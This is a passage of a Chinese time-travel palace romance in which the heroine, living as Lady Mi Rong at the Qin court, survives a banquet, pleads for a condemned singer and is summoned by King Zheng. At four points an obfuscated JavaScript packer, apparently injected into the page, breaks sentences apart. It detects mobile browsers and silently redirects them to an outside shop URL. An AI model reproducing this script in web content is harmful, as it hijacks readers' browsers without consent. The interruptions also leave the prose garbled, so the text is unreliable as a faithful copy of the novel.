“可他不是来看你了吗,这就是进步。看来蜡烛还是有点作用的,下次再做点硝石、火药什么的,保准他会将你捧进手心供着。” 说着说着,他忽然就兴奋了,开始罗列出所有可以发明创造的物件:纸张、铁器、桌椅板凳、食盐、蔗糖、水泥、指南针…… 姜暖适时给他泼了一盆冷水:“你要是真这么做了,估计会被当成妖人车裂示众,我总有种感觉,王上昨晚来,不是因为蜡烛,而是因为——” 那沾染到内侍身上、缭绕在乘放蜡烛木匣中的馥郁兰花香。 她甚至怀疑,他根本就没用那两只蜡烛,否则他昨夜便不会那样对她,至少不会一句也不提蜡烛的事。 但这样的猜测是没办法跟弟弟说的。她确实存了点引诱的心思,却只是为了将他引过来,除此之外,她可一点歪心思都不敢动。 秦王固然俊美挺拔,但气场太过强大凌厉,气势亦如刀如剑,借她一百个胆儿也不敢肖想。 回到芷阳宫,姜暖坐在窗下,一边喝茶一边继续愁眉苦脸着。 这时有宫人来报,说是明日晚上有宫宴,太后要她也参加。 姜暖立刻坐不住了,总觉得那会是一场鸿门宴,而她不仅没有张良帮着解围,还腹背受敌。 宴会的可能参与者,太后、秦王、吕不韦,都是想过要她性命的凶神恶煞之人,她能全身而退吗? 但冷静下来后再一想,很多担忧其实很没必要。 吕不韦想杀自己是四年前的事,而结合历史,他现在的处境其实挺尴尬:秦王越发强势,亲政的意愿空前强烈,他早已无法像以前那般操控朝堂了,而且嫪毐的崛起,使得赵姬也脱离了他的控制,他有的时候甚至还要看嫪毐的脸色办事。 至于赵姬,就算再脑子不清明,大概也不会在众目睽睽之下,对她下毒手。 她唯一无法揣测的,是秦王的想法。他心里曾有过杀她的想法吗? 她有些难过地撅起嘴巴,将昨夜撕下来的那块袖角小心翼翼包好,搁置在储物架上。 下午,她派人请来了宫里专门给宫女们讲授礼仪的嬷嬷,让她教自己宫廷礼仪。 嬷嬷一脸震惊,姜暖板着脸说自己昏睡了整整四年,很多东西记不清了,为了不在殿前失态,不得不请她再好好教自己一遍。 说着塞了一块翡翠玉镯给她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13097084|136105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嬷嬷顿时眉开眼笑,不厌其烦地教了她一下午,还殷勤地承诺以后若是有需要随时找她便可。 姜暖学得非常认真,可她总觉得光这样还不行。 “怕什么呀。”冬岚心直口快道,“不管怎么说,您现在都是国夫人,是后宫里除了赵太后权力最大的人,王上既然没有褫夺您的名号,您就还是夫人,大可以拿出气势来。” 姜暖心虚地闪躲开目光,任由她将自己头发上的金簪银钗一根根卸下来,用沾了玫瑰水的象牙梳细细为她梳理秾丽青丝。 “不过,太后确实可能会在宴会上为难您,她以前就经常这样。但那时候有华阳太后在,王上也护着您,她顶多只能逞逞口舌之快,可这次,我倒真有点怕她突然刁难……” 姜暖脊背一寒,忽然有股想把脚脖子扭了不去参加的冲动。 “怕她作甚,华阳太后不在,不还是有昌平君、昌文君嘛,他们现在可都是被王上倚重的后起之秀。”秋穗捧着一摞换洗的衣物进来,“我听章台宫那边的人说,王上现在最需要的,就是既不依附于相邦,也不依附长信侯的新人,可如今朝堂之上,虽然老臣们都很支持他亲政,但又无法完全不被相邦影响,王上经常为此大发雷霆呢。” 这倒提醒了姜暖。 第二日一早,她派人唤来了蒙毅,问他朝堂之上有没有一个叫做李斯的人。 “王上曾打听过此人,是相邦的门客,也与他见过几次面,但以他目前的身份,尚无法进入朝堂。但他才华横溢,在稷下学宫也是数一数二的才子,王上很看好他。” 她从蒙毅的口气中嗅到一丝遗憾的意味,但她无法深入询问,一则蒙毅不会回答,二则会显得自己太过幼稚,不懂得点到为止的含蓄哲学。 以秦王的性格,看重的人便会提拔,但李斯目下仍然只是个门客,一点官职都没有,这其中大概有什么她不知道的隐情。 她心中陡然生出一个大胆的想法。 若不是穿越而来,知道后续的历史发展,再加上有运气值高这个金手指,她是断然不敢如此鲁莽的。 “秋穗,明一早你就去郎中令那里,说明日晚宴我欲邀请李斯入席,让他把名字加进去。”她目光落在铜镜中自己模糊的面容上,抿着嘴唇吩咐道。 “喏。” 指导礼仪的嬷嬷说过,像她、太后还有地位较高的宗室长者,都有权额外邀请一到两位客人入席。 冬岚说得没错,她也应该适当行使点权力,而不能一直畏畏缩缩,裹足不前。 15.伶人 李斯晨时自榻上醒来,梳洗过后,提着把长剑正欲去后花园舞几下,就见家仆匆匆赶来,在门口将他堵住。 “先生,刚才有宫人来报,说是今日酉时三刻章台宫内设宴,您也……被邀请了。”老仆满面激动地说,尾音都发了颤。 李斯微微有些诧异,他知道今日宫内有酒宴,为的是庆贺今年关中大丰收,但他也知道受邀之人,均是在职官员和宗室勋贵,像他这种门客,根本够不上资格。 别说他了,就连官员也得是位高权重的那一拨。他虽然想尽办法想要出头,却从未敢对此产生过肖想。 “是芈夫人邀请的您。”老仆抢在他发问前解释道,依旧满面红光,仿佛已经看到自家主人平步青云了。 李斯却更加诧异了。他从楚国辗转到秦国是在两年前,那时候这位芈夫人已经处于昏迷中,可以说毫无存在感。 他隐隐听到过一些宫中秘闻,五花八门、虚虚假假,不值得一提,而如今这位夫人奇迹般苏醒了,还不知出于何目的,邀请他来参加这场达官贵人云集的宫宴。 他虽然才华横溢,但也只算得上小有名气,名声还远不至于传到深宫之中…… 这里面,该不会有什么陷阱吧? “您去吗?”见主人神色忽然凝重,老仆立刻不笑了,认真问了一句。 “去。”李斯仅稍作思索,便斩钉截铁道,提着剑又去了后花园。 此事存在诸多可能性,不过唯一笃定地就是,他能见到秦王,哪怕只能遥遥望一眼。 先前秦王传唤过他三次,谈论的均是治国之道、统一之法,他们的观念完美契合,他能感受到年轻的秦王眼中燃烧起来的灼灼光亮,他自己亦是止不住地激动,一口气滔滔不绝抒发了许久。 自从离开稷下学宫,他好久没有如此畅快过了。 想自己而立之年,辗转多国,不断地失望,又不断地寻找希望,有种满腔抱负无法施展的憋闷,终于遇到了一位,也是唯一一位理念契合的明主,他现在最盼望的就是这位明主尽快亲政,不受阻碍地施展统一六国的抱负。 只是吕不韦横在了其中,着实棘手。 而他主张对六国慢慢兼并,政见与他们截然相反,就算日后放权,怕是也会成为掣肘。 但他不会让他成为妨碍的,想必秦王也是一样吧。 酉时三刻,章台宫正殿内烛杖耀目,宾客满座,宫人捧着美酒佳肴鱼贯入殿,乐工们则候在编钟旁,到处一派热闹欢庆的氛围。 雕刻着兽纹、祥云和花卉图案的殿柱,在百千簇摇曳的烛火中褪去了白日的肃然与威武,就连远处高阶之上的王座,看上去也没那么杀气腾腾了。 又过了一刻钟,乐工们得到命令,按顺序依次敲响了编钟,在悠扬浑厚的声音中,秦王、太后、太妃,还有领着扶苏公子的国夫人,相继现身落座。 宴会正式开始。 姜暖屈腿跪坐在秦王右手边那只酒案后,觉得快要让身上繁重的猩红色礼服压得直不起腰了。 她这会儿特别紧张,连呼吸都小心把握着分寸,生怕气出大了,惹得斜前方的冷面魔王不悦地一扭头,再抛给她一个“你给我等着”的眼神。 幸好有扶苏在,他简直是她的救命稻草,小小年纪就是一副游刃有余的样子,在她身旁昂首挺胸,目光悠然又矜贵地向下面扫视,一副小大人的派头。 果然自小长在帝王之苑的孩子就是不一样,姜暖紧绷着的心弦松了几分,身体朝他稍稍靠了靠。 不过秦王全程都没怎么搭理她,只是偶尔斜下眼睛,眸光凌厉,也不知是威胁还是其他什么。 宫人列队上前,为他们奉上鱼肉佳肴,最后是一鼎香气逼人的炖肉。 姜暖鼻尖轻嗅了嗅,心里的馋虫被勾了出来。余光中秦王的袖角动了一下,唬得她连忙将目光从炖肉上移开,学着扶苏的样子,不急不徐地扫视众人。 只是目光不敢在任何一张脸上停留。官帽之下大家长得好像都差不多,她只在乌泱泱人群中辨出了成蟜。 他坐在左首第二列一个不前不后的位置,头戴白玉高冠,触到她目光时,敏锐地抬起眼眸,朝她淡淡笑了下。 姜暖想起了他的困境,心里有点难受,悻悻地移开眼睛。 这时,一道艳丽的注视,从左侧方向凶悍刺来,姜暖绷着下巴没有去看,因为她知道那是赵太后。 方才入殿的时候,太后就很露骨地打量她,还对她阴阳怪气了一番,只是她实在太美丽,几乎艳光四射,又透着一种毫无心机的轻浮,让姜暖很没出息地生不起气来。 即便她曾经派人刺杀过自己。 “阿母,这个炖肉特别好吃,一会儿你一定要多吃点。”扶苏碰了碰她的手臂,小声道,黑眼珠亮晶晶的。 “哦。”姜暖挤出笑意,心里却一直在敲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13126889|136105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼓。 幸而宴会正式开始后,她就彻底变成了吉祥物,只需要坐在那里不断地微笑,并在秦王发言时,以满怀爱意与温柔的眼神瞅两眼他的后脑勺,就算完成任务。 不过—— 他高谈阔论,控全局的样子,与面对她时简直判若两人。 若是光看今日,她一定会认为他是个外向的、满腔赤诚的人,勾唇转眸间,气魄与雄心尽显。 她特意朝下面瞥了几眼,看到了无数道迷弟般的眼神。 可他为什么偏偏那样对自己呢?若是恨的话,直接说出来岂不是更好?再不济,就让人抽她几鞭子解解恨…… 宴会进行得很顺利,至少对于姜暖而言。吕不韦坐在下首最靠前的位置,从始至终都很低调,朝她望过来时,也是满目慈祥,丝毫看不出曾向秦王提议处死她的样子。 觥筹交错间,宾客们三三两两交谈,谈笑声如蝴蝶满殿翩飞。 酒过三巡,舞姬们蹁跹入场,精美绝伦的舞蹈让微醺的众人重新打起精神,陆续捧起酒斛又啜饮了起来,气氛再度热烈起来。 姜暖本以为再熬一会儿就大功告成,可以回宫舒舒服服钻被窝了,没想到几曲舞蹈完毕,赵姬忽地长袖一端,灼灼向下环视了一周,不怀好意般高声言道: “今日庆祝关中大丰收,是难得喜乐的日子,寻常的酒食、舞蹈怕是不足以让大家尽兴,恰好前些时日,有人进献一位伶人给本宫,那声音真是宛如天籁,本宫就想着,让她为王上、为大家献曲一首,也算是添点乐子。” 姜暖隐隐嗅到一丝不安。 秦王还未答言,一直服侍在太后身边的长信侯嫪毐就扬声将人唤了进来。 姜暖看见,秦王搭在膝上的那只苍白的手,用力紧攥了一下。 “太后还真是好兴致啊,如此一来,倒是我等的福气了,哈哈哈。”吕不韦圆滑地打着圆场,嬉笑与精明收放自如。 殿外的夜幕中,款款踏入一身材袅娜女子,怀里抱着一把胡琴。 她一身荷绿色曲裾,个头偏高,乌发如云,始终微垂着头,直到步入殿中央,才缓缓将脸抬了起来。 霎时间,殿内陡然一片沉寂,隐隐有倒抽冷气的声音。 姜暖心口也猛跳了一瞬。 皆因那女子,无论是身形还是容貌,都与她有几分酷似。 她太阳穴一抽,大概猜到了赵姬的目的。 16.阿傩 殿内气氛持续沉默紧绷着。 姜暖面颊有些发烫。不是因为觉得受到了侮辱,而是知晓大家此刻心里都在想着什么,尴尬一寸一寸爬上脊背,让她不免有些坐立难安。 她没有原主的记忆,自然也就没有那么敏感的自尊心,但她仍然希望这场闹剧赶紧收场。 说实话,赵姬这个人,着实有些不聪明。她这样做,某种意义上也是在自取其辱。 众所周知,当年她带着年仅八岁的秦王自邯郸归来,参加的第一场宫廷宴会上,便被华阳太后以类似的方法取笑过,她如今想必是要报当年的仇。 而原主恰是华阳太后的侄女,简直就是完美的报复目标。 想到这儿,姜暖有点哭笑不得。不过,因为没有记忆,她此刻并不知晓太后此举,其实还有更深层次的侮辱意味。 她偏过脸偷瞄了秦王一眼,却见他下颚线条绷得极紧,骨感而凌厉,微微狭长的眼角向上挑起,额角有两道青筋暴起,似是极其愤怒的样子。 姜暖忽然涌起一阵感动,但很快意识到,他可能只是在气自己母亲的愚蠢,而非出于对她的维护,便渐渐平静下来,手指轻抠袖口处的衣料。 身旁的扶苏,不明白殿内气氛为何忽然凝重起来,他歪着脑袋左瞅瞅又瞅瞅,最后目光停驻在殿中央抱着胡琴的女子身上,看了良久,身子一点点僵硬起来。 和阿母也太像了。 若是她真的当众歌唱,岂不是在侮辱阿母? 案下,他紧紧攥起了小拳头, “阿傩,本宫记得你楚辞唱得特别好,就来一首吧,若是能让王上满意,本宫自有重赏。”赵姬妩媚笑道。 “喏。”台下女子声音绵软,听口音显然来自楚国。 姜暖忍不住又偷瞄了秦王一眼,而他恰好在这时侧过头来,四目相对间,姜暖被他覆满寒霜的视线吓得一哆嗦,赶紧将脖子扭了回来,眼睛老老实实盯着面前的水果,手指在袖子里都快拧成了麻花。 这个眼神,到、到底是什么意思啊? 怒气显然是有的,但更多的还是一种刺探,深刻得仿佛能穿透灵魂。 侧脸仍能感觉到那道注视,像火一样灼烧着她的面颊,她紧紧抿住嘴巴,睫毛忍不住轻颤,盈盈簌簌,若蝴蝶振翅,我见犹怜。 良久,他终于收回目光,面无表情向殿内慢慢环视,未发一言,似乎是默许了这场即将展开的羞辱。 姜暖厚起脸皮也向下看去。 成蟜正埋着头,把玩腰间玉佩,动作有种灵魂出窍了的迟钝感;吕不韦嘴角勾着一抹尴尬笑意,目中却神色沉凝、警惕,手指若有所思般摩挲着酒斛上的青铜纹路。 侍奉在一侧的蒙毅,担忧的频频望向她,站在另一侧的他的兄长,则木桩般面色无波,淡淡地注视着前方。 “阿傩,快开始吧。”赵太后催促道,声音陡然尖利,透着不耐烦。 阿傩得令,有些胆怯地瑟缩了下,斜抱起胡琴(她一定很宝贝这把琴,即便紧张动作也相当温柔),雪白葱指一根根落于弦上。 她身上有股剔透易碎的脆弱感,和他人口中的原主不仅形似,更有几分微妙的神似,只可惜姜暖的借尸还魂,打破了原主本来应该呈现的破碎感,她目前看上去大概只有呆滞。 当然,好听点,也可说是懵懂,毕竟大病初愈嘛。 下一刻,婉转悠长的胡琴声平地响起,时而若溪水潺潺,时而如瀑布奔腾,殿内众人一时间皆忘却杂念,被精美绝伦的琴声攫住了全部心神。 姜暖抬眸望向阿傩,只见她五指纤纤,飞快而有力地在坚硬的琴弦上拨弄、翻飞,单薄娇柔的身躯竟演奏出千军万马般的气势。 真厉害,姜暖不由得感叹道,在座众人也均是赞叹的表情。 女子眼睛始终半垂着,像是羞涩,又像是沉浸在演奏中,她神情飘渺又遥远,仿佛已经与他们不在同一个空间了。 漫长的前奏过后,她朱唇轻启,袅袅楚音和着乐声回荡在大殿之中。 她唱的是屈原的词,具体哪篇姜暖这个文科废柴完全识不得,只知道她嗓音确实犹如天籁,她活这么久,还是第一次听见,有人能将歌曲清唱得如此沁人心脾,百转千回,如泣如诉。 她微微张大了嘴巴,觉得全身都像是被最清甜的泉水濯洗了一遍。 突然,“哐当”一声脆响,如一截极不和谐的音符,硬生生血淋淋刺入阿傩的歌声,阿傩发出一声颤音,歌声与乐声戛然而止。 是秦王,抬袖扫落了案上酒斛,琥珀色美酒自案角滴落,蜿蜒流淌在红毯之中,宛如一滩血渍。 殿内霎时一阵肃然,赵高和两名内侍急忙小跑而来,拾走滚落的酒杯,擦去案上、地上污渍,并奉上新的重新斟满酒浆的酒斛。 而阿傩,早已将胡琴扔到一旁,伏身长跪在地上,额头抵着手背,纤弱的身躯肉眼可见的瑟瑟发抖。 姜暖亦被吓了一跳,她手摁着心口,侧眸望向秦王。 “政儿,你这是何意呀?”赵姬不大高兴地扭头道,“难道,你不喜欢听楚辞了吗?” 说罢,朝姜暖投来意味深长的一瞥。 然而秦王根本没有理睬她,他目光向下横扫而过,忽然扬声,几乎是吼道:“李斯何在?” 靠近门口一个不起眼位置,徐徐站起来一位褐袍男子,他面色淡然,不卑不亢朝秦王拱手拜礼。 “鄙人李斯,拜见秦王。” “李斯,寡人现赐你“客卿”之职,日后你可随诸臣上朝商议国事。” 李斯微怔了一瞬,很快便又是一拱手:“李斯领旨,多谢我王。” “相邦和太后,也没什么异议吧?”秦王转头看向吕不韦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145174|136105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和赵姬,面色忽地柔和下来,皮笑肉不笑地。 赵姬被这突然横生出来的插曲,搞得一脸莫名其妙,她只想继续羞辱儿子身旁那个楚国丫头,才不在意谁被任命谁又被免职。 但她必须得发表意见,毕竟她是兼国太后,和吕不韦一人一方大印。小到宫内采买,大到发兵收兵,都要经过这两方大印的认可。 “本宫没有意见,相邦你呢?”赵姬慵懒地斜着身子,心不在焉道。 吕不韦尴尬地干笑了两声。 他本不想放李斯的,直觉告诉他他日后会是个威胁,然今日实在局面尴尬,赵姬竟然愚蠢到当着众人之面羞辱国夫人,而由他进献的嫪毐,居然胆敢抢在秦王面前发号施令——简直越来越放肆了,迟早会出事,到时候怕是连他也会被牵连,在这种情况下,他哪敢说一个“不”字呢? “我王英明,臣没有意见。李斯大才,臣也正欲将他推荐给王上。”吕不韦拱手言道,态度谦卑。 “如此甚好。”秦王情绪莫辨地沉声言道,视线却鹰隼般盯了吕不韦许久。 而姜暖的眼眸,仍落在如秋叶般簌簌抖动的阿傩身上,她心里忽然泛起不忍,她会受到处罚吗? “这个贱婢,歌声竟如此不堪入耳,惹得王上不悦,真是丢我的脸,来人,把她给我拖出去。”赵姬拍了下桌案,怒喝道。 她的任务已经完成,是死是活,她一点也不在意。 反正也只是一个落魄的歌伶,若不是自己赏口饭给她吃,早就饿死在街头了。 不过那个楚国丫头,脸皮还真是越来越厚了,被如此羞辱,竟脸不红心不跳,还听得挺陶醉,简直和华阳那个老太婆一样不要脸,以前倒是小看她了。 姜暖并不知晓太后心里的谩骂,她低垂着眼帘,只感到胸口像被什么重重敲了一下,又闷又疼。 “太后饶命,王上饶命——”阿傩不住地磕着头,很快额头就血红一片。 那声音凄惨又无助,仿佛是在泣血,姜暖实在忍不住,身体倏地朝秦王转了过去,正欲开口,余光瞥见坐在太后斜后方的韩太妃,正在使劲朝她使眼色,示意她千万不要冲动。 只这片刻的迟疑,阿傩已被两个侍卫拖出了大殿,只余下啜泣般的哀求声久久缭绕。 一个鲜活的生命,眨眼间便烟消云散。姜暖想起方才她沉浸在自己所奏之乐时,那飘渺含笑、脆弱却自信的模样,心底一阵阵细密的刺痛。 她的目光忍不住又瞥向秦王。他刚刚挥那一袖子的时候,应该就已经知道了阿傩的命运吧? 他明知她会被处死,却没有一丁点儿怜惜之心。他完全可以说自己不想听,撵她下去,或者从最开始就选择不听,无论怎么样,都不至于以这种方式,夺走她的生命吧…… 她的手指在袖口下紧攥,说不出的难受,说不出的畏惧。 17.求情 这一段小插曲很快就被揭过,舞姬们重新登场,跳了一支喜庆的舞曲,殿内气氛复又高涨起来。 秦王脸色依旧有些铁青,苍冷修长的手指握住面前酒樽,正欲抬腕饮酒,便听身侧传来一道低声细气的呼唤。 “王上……” 细弱得就像鸟雀在耳畔啾鸣,有点恼人,又有点勾人。 他凶神恶煞地转过脸,成功将姜暖吓得头上步摇晃了几晃。 “王上,能、能不能不要处死阿傩……”她咽了咽口水,磕磕巴巴求情道。 秦王黑眸中神色莫辨,就那么一言不发看着她,直看得她头皮发麻,心里敲鼓。 有那么一刻,她毫不怀疑他下一秒就会冷冷开口,命人将她也拖出去砍了。 “她明明什么错都没犯……而且她的弹奏和歌声精妙绝妙,绝对不会是‘不堪入耳’,王上您这样做,和冤枉能臣功臣又有何两样呢?虽然她只是个伶人,您或许看不起她,但她在自己的领域里也是能力翘楚,百年难遇,就这样杀掉,实在是太可惜了……” 姜暖一口气说道。 她心里其实是害怕的,嘴巴却不受控制,宛如被下了降头,将心中所想鲁莽又直率地言说了出来。 她的声音很低,身体微微向他倾斜,落在下方诸人眼中,也只是王上与夫人在说悄悄话,不足以引起怀疑。 “你这是在指责寡人残暴吗?”他终于开了口,嗓音嘶哑低沉,像是恶狼扑猎前的低吼与威胁。 眼神也透着一股淡淡的戾气。 姜暖的汗毛一根根炸了起来,她连忙使劲摇头,耳珰和步摇晃动出清脆的节奏:“妾不敢,只是那女子实在太可怜,妾有些于心不忍——” “你倒善良,今日你为她求情,若是哪日有人想杀你,谁又会为你求情呢,芈蓉?” 秦王冷哼一声,眼珠却一错不错地盯住她慢慢渗出嫣红色的面颊。 丰艳秾丽,媚骨天成。 一阵难耐的干渴,自喉咙深处泛起,喉结控制不住地滚动了一下。 他不大喜欢,却又忍不住放纵自己去追逐这种感觉。 然而这话可把姜暖吓得够呛,但她只能强忍住畏惧,两片小刷子似的睫毛楚楚可怜地上下忽闪:“若是到了那个时候,臣妾相信,王上自会为臣妾做主。” “哦?那若是寡人想杀你呢?” 他有点残酷地扬唇一笑,目光流连至她雪腻柔软的下颚,有点怀念昨夜她肌肤挣扎融化在他掌心之中的那种细腻触感。 姜暖身体猛地一僵,宛若晒了两千年的鱼干,完全不知道如何回答,眼光悄悄抬起偷瞄一眼,却被他既像揶揄又像认真的视线攫个正着,她连忙把脑袋垂下来,一边抠着袖角线头,一边试图从浆糊一团的大脑中,择出一个合适的回答。 “父王,您不可以杀阿母,儿臣会、会阻止您的!” 扶苏从她身旁冒出小脑袋,眼睛瞪得很圆很认真,腮帮子也鼓鼓的,看着自己的父王,语气坚定道。 姜暖感动得快要哭了,睫毛还真的挂上了两滴水珠。 秦王没料到这话会被儿子听到,他略怔片刻,继而倏然一笑,眉宇间戾气陡散。 半真半假的威胁,顷刻间化为了轻慢的调侃。 “芈蓉,下命令的是太后,若是想要撤回命令,你难道不该去求她吗?”他视线落回到她脸上,别有深意地反问了一句,手中酒斛轻轻摇晃。 “可您是王上啊,除了您,妾实在不知道还能依靠谁……”情急之下,她想起了昨夜他的那个质问。 那夜他问她,为何不第一时间去寻求他的庇护,而非要在偏殿苦等一个时辰,就像是在倔强着什么似的,他生气正是因为这一点。 如此看来,秦王似乎并没有那么恨她做过的事,而是恨她不肯放低姿态,柔软地向他祈求怜悯…… 果然是直男癌晚期,就是不知道如此回应管不管用—— 奇迹般地,此言一出,秦王眼眸深处黑沉的寒意,遽然淡了几分,就像乌云散开,露出一小块湛蓝天空。 他轻哼一声,又瞥了她一眼,抬手唤来蒙恬,低声又迅速地交代了些什么,蒙恬得令,快步从后方离开。 姜暖悬着的心总算落回肚子里了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13150062|136105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >接下来的酒宴,就有些乏善可陈了,大家都有些昏昏欲睡,几支舞曲完毕,几个负责农耕方面的官员简单汇报了下接下来的工作重点,宴会便接近尾声了。 姜暖这一晚受到的惊吓有点多,用袖子挡着喝了好几斛酒,正醺醺然,忽然想到方才王上交代蒙恬的,真的是让他去救阿傩吗?会不会是她会错了意? 想到这儿,她酒醒了一半,讪讪地凑近秦王,鸟雀啾啾般又问道:“王、王上,您真的赦免阿傩了,对吧?” 她此刻脸颊红得像只苹果,眼神也添了几分迷离,秦王扭脸扫了她一眼,剑眉微蹙,不冷不热抛下一句“你说呢?” 姜暖悻然,缩回案后又喝了一斛。 又过了大约一刻钟,酒宴总算结束,太后被嫪毐搀扶着回了甘泉宫,秦王自然还留宿章台宫,姜暖则牵着扶苏的手,逃也似的溜回芷阳宫。 “阿母,其实一开始我是想冲上去,将那献唱女子赶走的。”回到宫里,给扶苏安顿进被窝,掖好被角,正要离开时,他忽然声音闷闷地说道。 “诶?”姜暖一愣,转身瞅着在榻上小小一团的扶苏。 “那你为何没这样做呢?”姜暖温柔问道。 “因为她和阿母您长得太像了,儿臣实在……不忍心。”他双手抓着被褥边缘,长长的睫毛垂了下来,一副有些愧疚的样子。 这孩子,果真是善良又心软,和他父王的铁石心肠简直两个极端。 “没关系的,你父王已经赦免了那个女子,你可以安心睡个好觉了。” 说着,在他额头上画了一个小星星,又轻轻吻了一下。 小朋友咯咯笑了,香甜地闭上眼睛,很快便打起了幸福的小呼噜。姜暖伏在榻边望了一会儿,也涌起了睡意。 然刚刚回到自己的寝室,正欲脱衣沐浴,一道指令就宛若晴天霹雳,砸在了她寝宫门口。 “王上请夫人即刻去章台宫,侍寝——” 姜暖原地摇晃了一下,差点没站稳。 侍、侍寝?是她理解的那个侍寝么…… 她只感到冷汗呼呼直冒,小腿肚子开始打颤。 18.长夜 在御前内侍的引领下,姜暖忐忑不安来到章台宫。 好不容易卸下来的头饰又一根根插了回去,头发重新绾好,曲裾也换了身素净轻快的,她踏着夜色与月光,足尖一步步轻踩在殿前石阶上。 此刻已临近子时,章台宫内却灯火通明,宛如一盏被放逐在夜色中的巨大花灯,在无边无际的黑暗里随波飘摇,透出一股浩瀚的苍凉感。 这座宫殿,最终也没能在历史上留下痕迹,属实是可惜,毕竟它远比她先前在电视剧中看到的那些以现代工业复原的宫殿群巍峨壮阔百倍千倍,且有种语言无法形容的肃穆与厚重。 然而踏入殿内那一刻,她便没心情感慨了,心脏怦怦乱跳,眼睛只盯着脚下的地砖和内侍长黑色的脚后跟,恨不得像鸵鸟那样,把头埋进地底下。 侍寝…… 其实这一路上她都想好了,想要修复与秦王的关系,以她的身份,最快、同时也是最容易的方法,便是侍寝。 秦王长得高大俊美,手臂肌肉紧实强壮,论外形她不吃亏的,但问题是,她不会—— 为帝王暖被窝,应该不是衣服一脱、往那儿一摊就完事的,她是不是还得主动点,顺带提供些情绪上的满足感? 想到这儿,她老脸一红,胡思乱想间,已被引入西偏殿。 重重烛光下,秦王还是宴会上那袭玄色华袍,袍角逶迤在身侧,正以休闲的姿态斜坐在长案后,手握一册竹简,垂眸阅读着。 就算在姜暖的位置,也能看见他指节修长,腕骨凸出,侧颜笼罩在淡黄光晕中,仿佛是一尊凝固在深邃时光中的雕像,竟有种说不出的……孤独感。 姜暖也不知道自己为何会产生这一联想,但在那一瞬间,她真切捕捉到了他身上散发出来的这种孤独之感。 似乎没人能贴近他的心,他也不需要有人贴近他。 内侍向前拱了拱手,便一言不发退了出去,他一走,姜暖陡然慌了,手心里渗出一层汗。 良久,他都没有抬头,就在姜暖以为那夜情景即将再现,自己还会被他晾上个一两小时,他哗啦哗啦卷起竹简,扔在一旁,眸光顺势挑起来,睨了她一眼。 姜暖这才想起自己又失礼了,连忙交叠双手,躬身拜礼。 “妾,见过王上。”声音袅柔绵软,余音糯糯,就像楚地三月里淅沥不止的春雨。 他淡淡扫了她一眼。 “唱支曲子。”毫无征兆地,他命令道,眸光从她身上挪开,又拣了一册书简摊开读起来。 态度属实有些轻慢了,好像她只是个歌伶。 好半晌过去了,也没有声音飘上来,他神色不虞地重新抬起目光,却见姜暖满脸通红,在原地扭捏蛄蛹,一副有难言之隐的样子。 触到他视线,她连忙指着自己喉咙,尴尬胆怯道:“妾……没有过去的记忆,自然也不知要如何唱曲儿——” 秦王额角两根青筋凸了出来,他强压下怒意,阴沉地睨了她一眼,喝到:“唱。” 姜暖秒怂,在记忆中搜肠刮肚,总算搜出一首勉强记得大部分歌词的曲子,也来自楚辞,心一横,以微微颤抖的嗓音唱了出来。 声音自是极其甜润娇美,只是调跑得厉害,像是萨满在招魂,秦王额角上的青筋又多了两根,薄唇紧抿成一道锋利的直线,但他并没有喊停。 歌曲进行了一大半,即将接近尾声时,他才带着几分恼怒,将竹简重重摔在桌案上。 “啪”的一声脆响,打断了姜暖的鬼哭狼嚎,她兔子样抖了抖尾巴,双目泛红,怯怯地往后退缩半步,心想这回怕是凶多吉少了。 “不会唱就别唱。” 他哗地自案后起身,甩着袖子呵斥道,视线笔直地落在她瑟瑟低垂的后脑勺上。 不是你非让唱的吗?姜暖在心里小小的反驳了一下,面上却只将脖颈垂得越发恭顺、谦卑,一副积极认错的姿态。 只是压在头顶的那两道视线若有千斤重,让她有些难以承受,她嘴唇颤了几颤,正要颤出求饶的声音时,不知从哪儿轻步走出两个侍女,到她身旁躬身作礼,而后道:“夫人,请跟我们走吧。” 诶,要把她带到哪儿? 姜暖满脸懵懂,但若是能让她暂时离开秦王探究又沉重的注视,就算是上刀山下火海,她也认了。 然而侍女们带她去的不是刀山也不是火海,而是浴室。 